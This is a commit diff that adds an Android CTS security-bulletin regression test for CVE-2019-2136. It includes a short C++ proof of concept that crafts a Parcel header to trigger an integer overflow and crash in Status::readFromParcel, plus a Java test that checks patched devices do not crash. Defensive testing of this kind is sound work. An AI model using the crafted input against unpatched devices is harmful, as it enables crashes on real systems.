CTS test for Android Security b/132650049

Bug: 132650049
Bug: 135208126
Test: Ran the new testcase on android-10.0.0_r38 with/without patch

Change-Id: Ia272247c3e476089f6132c2f582d659fd22460fa
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/Android.bp
new file mode 100644
index 0000000..7482be3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/Android.bp
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2019-2136",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    shared_libs: [
+        "libbinder",
+        "libutils",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/poc.cpp
new file mode 100644
index 0000000..c4d9a79
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/poc.cpp
@@ -0,0 +1,41 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <binder/Parcel.h>
+#include <binder/Status.h>
+
+using namespace android;
+using ::android::binder::Status;
+
+int main(void) {
+    Parcel parcel;
+    parcel.writeInt32(Status::EX_HAS_REPLY_HEADER);
+    /** Vulerable Code: const int32_t header_start = parcel.dataPosition();
+                        parcel.setDataPosition(header_start + header_size);
+    Hence header_start is 4 [sizeof(int32_t)] as we have written
+    Status::EX_HAS_REPLY_HEADER. header_start + header_size computation will
+    overflow if header_size > INT32_MAX - sizeof(int32_t).
+    */
+    parcel.writeInt32(INT32_MAX - sizeof(int32_t));
+    parcel.setDataPosition(0);
+    Status status;
+    status.readFromParcel(parcel);
+    /** If vulnerability is present, the parcel's data position would be very
+        large. Hence any write to the parcel will trigger a SIGSEGV else the
+        write would pass.
+    */
+    parcel.writeInt32(0);
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java
new file mode 100644
index 0000000..e4b41cc
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2136 extends SecurityTestCase {
+
+    /**
+     * b/132650049
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2019-08")
+    @Test
+    public void testPocCVE_2019_2136() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2136", null, getDevice());
+    }
+}